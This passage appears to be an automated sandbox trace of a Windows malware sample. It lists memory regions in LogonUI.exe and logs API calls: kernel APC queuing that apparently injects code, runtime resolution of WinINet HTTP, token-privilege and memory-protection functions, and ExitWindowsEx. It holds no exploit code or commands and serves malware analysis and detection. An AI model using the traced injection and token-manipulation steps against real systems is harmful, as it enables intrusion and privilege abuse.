= 0x7fefbdf0000 end_va = 0x7fefbe23fff entry_point = 0x7fefbdf11e0 region_type = mapped_file name = "credui.dll" filename = "\\Windows\\System32\\credui.dll" Region: id = 1323 start_va = 0x7fefbe30000 end_va = 0x7fefbe46fff entry_point = 0x7fefbe3d9d4 region_type = mapped_file name = "winbio.dll" filename = "\\Windows\\System32\\winbio.dll" Region: id = 1324 start_va = 0x7fefbe50000 end_va = 0x7fefbe81fff entry_point = 0x7fefbe5fc64 region_type = mapped_file name = "BioCredProv.dll" filename = "\\Windows\\System32\\BioCredProv.dll" Region: id = 1325 start_va = 0x7fefd960000 end_va = 0x7fefd982fff entry_point = 0x7fefd961198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" Region: id = 1326 start_va = 0x7fefda00000 end_va = 0x7fefda0afff entry_point = 0x7fefda01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" Region: id = 1327 start_va = 0x7fefda60000 end_va = 0x7fefda84fff entry_point = 0x7fefda69658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" Region: id = 1328 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Region: id = 1329 start_va = 0x7fefdb60000 end_va = 0x7fefdb9cfff entry_point = 0x7fefdb618f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" Region: id = 1330 start_va = 0x2c40000 end_va = 0x2c42fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c40000" filename = "" Region: id = 1331 start_va = 0x2c50000 end_va = 0x2c5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c50000" filename = "" Region: id = 1332 start_va = 0x7fefbd40000 end_va = 0x7fefbd62fff entry_point = 0x7fefbd44a30 region_type = mapped_file name = "certCredProvider.dll" filename = "\\Windows\\System32\\certCredProvider.dll" Region: id = 1333 start_va = 0x7fefbc20000 end_va = 0x7fefbc30fff entry_point = 0x7fefbc214c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" Region: id = 1334 start_va = 0x7fefbc40000 end_va = 0x7fefbc5bfff entry_point = 0x7fefbc411a0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" Region: id = 1335 start_va = 0x7fefbc60000 end_va = 0x7fefbcc1fff entry_point = 0x7fefbc61198 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" Region: id = 1336 start_va = 0x7fefbcd0000 end_va = 0x7fefbd37fff entry_point = 0x7fefbcd1070 region_type = mapped_file name = "rasplap.dll" filename = "\\Windows\\System32\\rasplap.dll" Region: id = 1337 start_va = 0x7feff1e0000 end_va = 0x7feff22cfff entry_point = 0x7feff1e1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" Region: id = 1338 start_va = 0x7feffce0000 end_va = 0x7feffce7fff entry_point = 0x7feffce1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" Region: id = 1351 start_va = 0x2c60000 end_va = 0x2d1ffff entry_point = 0x2c60000 region_type = mapped_file name = "KernelBase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" Region: id = 1352 start_va = 0x2e90000 end_va = 0x2f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e90000" filename = "" Region: id = 1353 start_va = 0x2f10000 end_va = 0x2f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 1354 start_va = 0x2ff0000 end_va = 0x306ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1355 start_va = 0x7fefd190000 end_va = 0x7fefd1d6fff entry_point = 0x7fefd191064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" Region: id = 1356 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 1357 start_va = 0x7fefdf30000 end_va = 0x7fefdf69fff entry_point = 0x7fefdf31320 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" Region: id = 1358 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1359 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1764 start_va = 0x2d20000 end_va = 0x2d25fff entry_point = 0x0 region_type = private name = "private_0x0000000002d20000" filename = "" Region: id = 1765 start_va = 0x2d30000 end_va = 0x2d30fff entry_point = 0x0 region_type = private name = "private_0x0000000002d30000" filename = "" Region: id = 1766 start_va = 0x2d40000 end_va = 0x2d47fff entry_point = 0x0 region_type = private name = "private_0x0000000002d40000" filename = "" Region: id = 1767 start_va = 0x2d50000 end_va = 0x2d50fff entry_point = 0x0 region_type = private name = "private_0x0000000002d50000" filename = "" Region: id = 1768 start_va = 0x2d60000 end_va = 0x2d6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d60000" filename = "" Region: id = 1769 start_va = 0x3070000 end_va = 0x314efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003070000" filename = "" Region: id = 1770 start_va = 0x31b0000 end_va = 0x322ffff entry_point = 0x0 region_type = private name = "private_0x00000000031b0000" filename = "" Region: id = 1771 start_va = 0x3560000 end_va = 0x3560fff entry_point = 0x0 region_type = private name = "private_0x0000000003560000" filename = "" Region: id = 1772 start_va = 0x3570000 end_va = 0x3570fff entry_point = 0x0 region_type = private name = "private_0x0000000003570000" filename = "" Region: id = 1773 start_va = 0x3b90000 end_va = 0x44bffff entry_point = 0x3b90000 region_type = mapped_file name = "StaticCache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" Region: id = 1774 start_va = 0x44c0000 end_va = 0x44c0fff entry_point = 0x0 region_type = private name = "private_0x00000000044c0000" filename = "" Region: id = 1775 start_va = 0x44d0000 end_va = 0x44d0fff entry_point = 0x0 region_type = private name = "private_0x00000000044d0000" filename = "" Region: id = 1776 start_va = 0x44e0000 end_va = 0x44e0fff entry_point = 0x0 region_type = private name = "private_0x00000000044e0000" filename = "" Region: id = 1777 start_va = 0x44f0000 end_va = 0x44f0fff entry_point = 0x0 region_type = private name = "private_0x00000000044f0000" filename = "" Region: id = 1778 start_va = 0x4500000 end_va = 0x4500fff entry_point = 0x0 region_type = private name = "private_0x0000000004500000" filename = "" Region: id = 1779 start_va = 0x4510000 end_va = 0x470ffff entry_point = 0x0 region_type = private name = "private_0x0000000004510000" filename = "" Region: id = 1780 start_va = 0x4710000 end_va = 0x4710fff entry_point = 0x0 region_type = private name = "private_0x0000000004710000" filename = "" Region: id = 1781 start_va = 0x4720000 end_va = 0x4720fff entry_point = 0x0 region_type = private name = "private_0x0000000004720000" filename = "" Region: id = 1782 start_va = 0x4730000 end_va = 0x4730fff entry_point = 0x0 region_type = private name = "private_0x0000000004730000" filename = "" Region: id = 1783 start_va = 0x4740000 end_va = 0x4740fff entry_point = 0x0 region_type = private name = "private_0x0000000004740000" filename = "" Region: id = 1784 start_va = 0x4750000 end_va = 0x4750fff entry_point = 0x0 region_type = private name = "private_0x0000000004750000" filename = "" Region: id = 1785 start_va = 0x4760000 end_va = 0x4760fff entry_point = 0x0 region_type = private name = "private_0x0000000004760000" filename = "" Region: id = 1786 start_va = 0x4770000 end_va = 0x4770fff entry_point = 0x0 region_type = private name = "private_0x0000000004770000" filename = "" Region: id = 1787 start_va = 0x4780000 end_va = 0x4780fff entry_point = 0x0 region_type = private name = "private_0x0000000004780000" filename = "" Region: id = 1788 start_va = 0x4790000 end_va = 0x4790fff entry_point = 0x0 region_type = private name = "private_0x0000000004790000" filename = "" Region: id = 1789 start_va = 0x47a0000 end_va = 0x47a0fff entry_point = 0x0 region_type = private name = "private_0x00000000047a0000" filename = "" Region: id = 1790 start_va = 0x47b0000 end_va = 0x47b0fff entry_point = 0x0 region_type = private name = "private_0x00000000047b0000" filename = "" Region: id = 1791 start_va = 0x47c0000 end_va = 0x47c0fff entry_point = 0x0 region_type = private name = "private_0x00000000047c0000" filename = "" Region: id = 1792 start_va = 0x47d0000 end_va = 0x47d0fff entry_point = 0x0 region_type = private name = "private_0x00000000047d0000" filename = "" Region: id = 1793 start_va = 0x47e0000 end_va = 0x47e0fff entry_point = 0x0 region_type = private name = "private_0x00000000047e0000" filename = "" Region: id = 1794 start_va = 0x47f0000 end_va = 0x47f0fff entry_point = 0x0 region_type = private name = "private_0x00000000047f0000" filename = "" Region: id = 1795 start_va = 0x4800000 end_va = 0x4800fff entry_point = 0x0 region_type = private name = "private_0x0000000004800000" filename = "" Region: id = 1796 start_va = 0x4810000 end_va = 0x4810fff entry_point = 0x0 region_type = private name = "private_0x0000000004810000" filename = "" Region: id = 1797 start_va = 0x4820000 end_va = 0x4820fff entry_point = 0x0 region_type = private name = "private_0x0000000004820000" filename = "" Region: id = 1798 start_va = 0x4830000 end_va = 0x4830fff entry_point = 0x0 region_type = private name = "private_0x0000000004830000" filename = "" Region: id = 1799 start_va = 0x4840000 end_va = 0x4840fff entry_point = 0x0 region_type = private name = "private_0x0000000004840000" filename = "" Region: id = 1800 start_va = 0x4850000 end_va = 0x4850fff entry_point = 0x0 region_type = private name = "private_0x0000000004850000" filename = "" Region: id = 1801 start_va = 0x4860000 end_va = 0x4860fff entry_point = 0x0 region_type = private name = "private_0x0000000004860000" filename = "" Region: id = 1802 start_va = 0x4870000 end_va = 0x4870fff entry_point = 0x0 region_type = private name = "private_0x0000000004870000" filename = "" Region: id = 1803 start_va = 0x4880000 end_va = 0x4880fff entry_point = 0x0 region_type = private name = "private_0x0000000004880000" filename = "" Region: id = 1804 start_va = 0x4890000 end_va = 0x4890fff entry_point = 0x0 region_type = private name = "private_0x0000000004890000" filename = "" Region: id = 1805 start_va = 0x48a0000 end_va = 0x48a0fff entry_point = 0x0 region_type = private name = "private_0x00000000048a0000" filename = "" Region: id = 1806 start_va = 0x48b0000 end_va = 0x48b0fff entry_point = 0x0 region_type = private name = "private_0x00000000048b0000" filename = "" Region: id = 1807 start_va = 0x48c0000 end_va = 0x48c0fff entry_point = 0x0 region_type = private name = "private_0x00000000048c0000" filename = "" Region: id = 1808 start_va = 0x48d0000 end_va = 0x48d0fff entry_point = 0x0 region_type = private name = "private_0x00000000048d0000" filename = "" Region: id = 1809 start_va = 0x48e0000 end_va = 0x48e6fff entry_point = 0x0 region_type = private name = "private_0x00000000048e0000" filename = "" Region: id = 1810 start_va = 0x48f0000 end_va = 0x48f9fff entry_point = 0x0 region_type = private name = "private_0x00000000048f0000" filename = "" Region: id = 1811 start_va = 0x4900000 end_va = 0x4906fff entry_point = 0x0 region_type = private name = "private_0x0000000004900000" filename = "" Region: id = 1812 start_va = 0x4910000 end_va = 0x4933fff entry_point = 0x0 region_type = private name = "private_0x0000000004910000" filename = "" Region: id = 1813 start_va = 0x4940000 end_va = 0x4949fff entry_point = 0x0 region_type = private name = "private_0x0000000004940000" filename = "" Region: id = 1814 start_va = 0x4950000 end_va = 0x4956fff entry_point = 0x0 region_type = private name = "private_0x0000000004950000" filename = "" Region: id = 1815 start_va = 0x4960000 end_va = 0x4969fff entry_point = 0x0 region_type = private name = "private_0x0000000004960000" filename = "" Region: id = 1816 start_va = 0x4970000 end_va = 0x4976fff entry_point = 0x0 region_type = private name = "private_0x0000000004970000" filename = "" Region: id = 1817 start_va = 0x4980000 end_va = 0x49b7fff entry_point = 0x0 region_type = private name = "private_0x0000000004980000" filename = "" Region: id = 1818 start_va = 0x49c0000 end_va = 0x49c9fff entry_point = 0x0 region_type = private name = "private_0x00000000049c0000" filename = "" Region: id = 1819 start_va = 0x49d0000 end_va = 0x49d0fff entry_point = 0x0 region_type = private name = "private_0x00000000049d0000" filename = "" Region: id = 1820 start_va = 0x49e0000 end_va = 0x49e0fff entry_point = 0x0 region_type = private name = "private_0x00000000049e0000" filename = "" Region: id = 1821 start_va = 0x49f0000 end_va = 0x49f0fff entry_point = 0x0 region_type = private name = "private_0x00000000049f0000" filename = "" Region: id = 1822 start_va = 0x4a00000 end_va = 0x4a00fff entry_point = 0x0 region_type = private name = "private_0x0000000004a00000" filename = "" Region: id = 1823 start_va = 0x4a10000 end_va = 0x4a10fff entry_point = 0x0 region_type = private name = "private_0x0000000004a10000" filename = "" Region: id = 1824 start_va = 0x4a20000 end_va = 0x4a21fff entry_point = 0x0 region_type = private name = "private_0x0000000004a20000" filename = "" Region: id = 1825 start_va = 0x4a30000 end_va = 0x4a30fff entry_point = 0x0 region_type = private name = "private_0x0000000004a30000" filename = "" Region: id = 1826 start_va = 0x4a40000 end_va = 0x4a41fff entry_point = 0x0 region_type = private name = "private_0x0000000004a40000" filename = "" Region: id = 1827 start_va = 0x4a50000 end_va = 0x4a50fff entry_point = 0x0 region_type = private name = "private_0x0000000004a50000" filename = "" Region: id = 1828 start_va = 0x4a60000 end_va = 0x4a61fff entry_point = 0x0 region_type = private name = "private_0x0000000004a60000" filename = "" Region: id = 1829 start_va = 0x4a70000 end_va = 0x4a70fff entry_point = 0x0 region_type = private name = "private_0x0000000004a70000" filename = "" Region: id = 1830 start_va = 0x4a80000 end_va = 0x4a81fff entry_point = 0x0 region_type = private name = "private_0x0000000004a80000" filename = "" Region: id = 1831 start_va = 0x4a90000 end_va = 0x4a90fff entry_point = 0x0 region_type = private name = "private_0x0000000004a90000" filename = "" Region: id = 1832 start_va = 0x4aa0000 end_va = 0x4aa0fff entry_point = 0x0 region_type = private name = "private_0x0000000004aa0000" filename = "" Region: id = 1833 start_va = 0x4ab0000 end_va = 0x4ab0fff entry_point = 0x0 region_type = private name = "private_0x0000000004ab0000" filename = "" Region: id = 1834 start_va = 0x4ac0000 end_va = 0x4ac0fff entry_point = 0x0 region_type = private name = "private_0x0000000004ac0000" filename = "" Region: id = 1835 start_va = 0x4ad0000 end_va = 0x4ad0fff entry_point = 0x0 region_type = private name = "private_0x0000000004ad0000" filename = "" Region: id = 1836 start_va = 0x4ae0000 end_va = 0x4ae0fff entry_point = 0x0 region_type = private name = "private_0x0000000004ae0000" filename = "" Region: id = 1837 start_va = 0x4af0000 end_va = 0x4af0fff entry_point = 0x0 region_type = private name = "private_0x0000000004af0000" filename = "" Region: id = 1838 start_va = 0x4b00000 end_va = 0x4b00fff entry_point = 0x0 region_type = private name = "private_0x0000000004b00000" filename = "" Region: id = 1839 start_va = 0x4b10000 end_va = 0x4b10fff entry_point = 0x0 region_type = private name = "private_0x0000000004b10000" filename = "" Region: id = 1840 start_va = 0x4b20000 end_va = 0x4b20fff entry_point = 0x0 region_type = private name = "private_0x0000000004b20000" filename = "" Region: id = 1841 start_va = 0x4b30000 end_va = 0x4b30fff entry_point = 0x0 region_type = private name = "private_0x0000000004b30000" filename = "" Region: id = 1842 start_va = 0x74610000 end_va = 0x75965fff entry_point = 0x74610000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" Region: id = 1843 start_va = 0x7fefd5a0000 end_va = 0x7fefd5d1fff entry_point = 0x7fefd5a144c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" Thread: id = 160 os_tid = 0x30c [0078.282] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\LogonUI.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.282] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.288] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0078.288] IoIs32bitProcess (Irp=0x0) returned 0 [0078.288] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa8003649860 [0078.288] KeInitializeApc (Apc=0xfffffa8003649860, Thread=0xfffffa8003649320, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0078.288] KeInsertQueueApc (Apc=0xfffffa8003649860, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0078.288] ExFreePoolWithTag (P=0xfffffa8003649860, Tag=0x0) [0078.288] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa8003661010 [0078.288] IoGetCurrentProcess () returned 0xfffffa80036566b0 [0078.288] PsGetCurrentProcessId () returned 0x308 [0078.288] IoIs32bitProcess (Irp=0x0) returned 0 [0078.288] KeInitializeEvent (in: Event=0xfffffa8003661050, Type=0x0, State=0 | out: Event=0xfffffa8003661050) [0078.288] ExQueueWorkItem (in: WorkItem=0xfffffa8003661010*(List.Flink=0x0, List.Blink=0x656c62697461706d, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa8003661010), QueueType=0x1 | out: WorkItem=0xfffffa8003661010*(List.Flink=0x0, List.Blink=0x656c62697461706d, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa8003661010)) [0078.300] KeWaitForMutexObject () returned 0x0 [0078.369] ExFreePoolWithTag (P=0xfffffa8003661010, Tag=0x0) [0078.370] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.374] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.375] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.375] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.376] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.376] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.377] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.377] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.380] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.381] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.384] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0078.390] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0078.390] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0078.390] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0078.390] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0078.390] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0078.390] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.390] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.406] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.407] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.408] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.408] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.408] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.409] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.409] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.418] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0078.418] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0078.418] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0078.418] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0078.418] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.419] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0078.420] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0078.420] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.421] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0078.421] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0078.421] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0078.421] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0078.421] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0078.421] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0078.421] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0078.423] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0078.423] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0078.423] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x22efe8 | out: lpflOldProtect=0x22efe8*=0x40) returned 1 [0078.423] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x22efe8 | out: lpflOldProtect=0x22efe8*=0x4) returned 1 [0078.423] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0078.423] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0078.423] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0078.423] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0078.423] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0078.423] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0078.424] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0078.424] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0078.424] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0078.424] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0078.424] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0078.424] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0078.424] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0078.424] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0078.424] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0078.424] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0078.424] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0078.424] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0078.424] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0078.424] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0078.424] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0078.424] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0078.424] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0078.424] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0078.425] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0078.425] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0078.425] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0078.425] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0078.425] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0078.425] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0078.425] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0078.425] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0078.425] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0078.425] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0078.425] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0078.425] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0078.425] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0078.425] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0078.425] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0078.425] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0078.425] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0078.425] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0078.425] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0078.426] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0078.426] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0078.426] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0078.426] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0078.426] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0078.426] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0078.426] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0078.426] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0078.426] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0078.426] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0078.426] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0078.426] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0078.426] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0078.426] 